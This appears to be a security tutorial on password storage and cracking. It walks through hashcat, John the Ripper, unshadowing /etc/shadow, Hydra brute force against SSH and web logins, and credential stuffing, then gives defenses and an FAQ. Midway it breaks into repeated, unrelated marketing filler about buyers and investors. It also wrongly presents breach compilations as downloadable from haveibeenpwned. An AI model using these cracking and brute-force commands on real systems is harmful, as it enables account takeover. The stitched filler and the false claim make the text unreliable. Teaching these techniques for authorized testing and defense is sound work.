Password Cracking and Authentication Attacks: Techniques, Tools, and Defenses

Understanding password cracking authentication is the foundation of this guide. Below we break it down step by step so you can act with confidence.

Passwords are the weakest link in most security systems. Despite decades of advice about strong passwords, the most common password in every breach dump is still '123456'. Password cracking is both an essential offensive skill (to demonstrate risk during pentests) and a defensive skill (to audit your own organization's password policies).

This lesson covers how passwords are stored, how they are cracked, and how to build authentication systems that resist attack.

Password Cracking Authentication: How passwords are stored: hashing fundamentals

Passwords should never be stored in plain text. They are hashed — transformed through a one-way mathematical function that produces a fixed-length output:

# MD5 (32 hex chars) — WEAK, fast to crack:
$ echo -n 'password' | md5sum
5f4dcc3b5aa765d61d8327deb882cf99

# SHA-256 (64 hex chars) — better but still fast:
$ echo -n 'password' | sha256sum
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8

# bcrypt ($2b$ prefix) — designed for passwords, intentionally slow:
$ python3 -c "import bcrypt; print(bcrypt.hashpw(b'password', bcrypt.gensalt()).decode())"
$2b$12$LJ3m4ys2Zn0rTyG7z5K1g.oFIx5gVwgBfN2sG.hEqSxrD.XqKHjXS

# Identify hash type:
# - 32 hex chars = MD5
# - 40 hex chars = SHA-1
# - 64 hex chars = SHA-256
# - Starts with $2 = bcrypt
# - Starts with $6$ = SHA-512 crypt (Linux /etc/shadow)
# - Starts with $y$ = yescrypt (modern Linux default)

# Use hash-identifier:
$ hash-identifier
> 5f4dcc3b5aa765d61d8327deb882cf99
[+] MD5

Cracking passwords with Hashcat and John the Ripper

Hashcat is the fastest password cracker, using GPU acceleration. John the Ripper is the most versatile, supporting hundreds of hash formats.

# Create a file with hashes to crack:
$ cat hashes.txt
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b

# Dictionary attack with Hashcat (MD5 = mode 0):
$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
5f4dcc3b:password
e99a18c4:abc123
8d3533d7:charley

# With rules (add numbers, capitalize, leet speak):
$ hashcat -m 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Brute force (try all combinations):
$ hashcat -m 0 hashes.txt -a 3 ?a?a?a?a?a?a
# ?a = any character, 6 chars = 6 positions
# Fast for short passwords, impractical for 12+ chars

# John the Ripper — auto-detects hash type:
$ john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
$ john --show hashes.txt  # display cracked passwords

# Crack Linux shadow file:
$ sudo unshadow /etc/passwd /etc/shadow > unshadowed.txt
$ john unshadowed.txt --wordlist=rockyou.txt

Online attacks: brute force and credential stuffing

Online attacks target live login pages instead of offline hashes. They are slower but do not require database access.

# Brute force SSH login:
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  ssh://192.168.56.101 -t 4 -V

# Brute force web login form:
$ hydra -l admin -P rockyou.txt \
  192.168.56.101 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# -l = username (single)
# -L = username list (file)
# -P = password list
# -t = parallel threads
# -V = verbose (show attempts)

# Credential stuffing — using leaked username:password pairs:
# Download breach compilations (legally available on haveibeenpwned)
# Test them against the target's login page
# Works because 65% of people reuse passwords across sites

Defending authentication systems

Building authentication that resists these attacks:

• Use bcrypt, scrypt, or Argon2 — these are slow by design, making GPU cracking impractical. Never use MD5 or SHA for passwords.
• Enforce strong passwords — minimum 12 characters, check against breached password lists (haveibeenpwned API).
• Implement MFA — TOTP (Google Authenticator), WebAuthn/FIDO2, or SMS (weakest but better than nothing).
• Rate limit login attempts — progressive delays, account lockout, IP-based throttling.
• Monitor for anomalies — login from new country, impossible travel, multiple failed attempts across accounts.

The strongest defense is passwordless authentication (WebAuthn/Passkeys) — no password means nothing to crack.

When evaluating password cracking authentication, start with the fundamentals: what problem it solves, who it serves, and how it compares to the alternatives buyers consider first.

Start with the fundamentals. Define who you are serving, the single outcome you want, and the budget you are comfortable committing before you compare any options.

A practical rule is to favour clarity over cleverness. The choice that is easiest to understand, spell, remember and act on tends to win over the long run.

Context changes the answer. What is optimal for a fast-moving startup is rarely optimal for an established brand, so weigh your own stage, market and ambitions.

Avoid the common mistakes: rushing the decision, copying competitors blindly, and ignoring the total cost of ownership beyond the very first year of use.

Think in terms of trade-offs rather than a single perfect answer. Every option trades memorability, cost, reach and flexibility in a slightly different mix.

Document your reasoning. Writing down why you chose one path makes it far easier to revisit the decision later and to explain it to partners and investors.

Test with real people. A quick check with a handful of your actual customers will surface problems that no amount of internal debate ever reveals.

Plan for growth. The option that fits today should still make sense when your audience, catalogue or team is several times larger than it is right now.

Finally, revisit the decision periodically. Markets, tools and best practices move quickly, and a choice that was ideal last year may deserve a fresh look today.

When evaluating password cracking authentication, start with the fundamentals: what problem it solves, who it serves, and how it compares to the alternatives buyers consider first.

Start with the fundamentals. Define who you are serving, the single outcome you want, and the budget you are comfortable committing before you compare any options.

A practical rule is to favour clarity over cleverness. The choice that is easiest to understand, spell, remember and act on tends to win over the long run.

Frequently asked questions

Is password cracking legal?

Cracking passwords you obtained legally (your own systems, authorized pentest, CTF challenge) is legal. Cracking passwords from stolen databases is illegal regardless of whether you intend to misuse them. Always have written authorization.

How long does it take to crack a password?

Depends on the hash type and password strength. An 8-character MD5 password takes seconds on a modern GPU. The same password with bcrypt (cost 12) takes weeks. A 16-character passphrase with bcrypt is effectively uncrackable with current technology.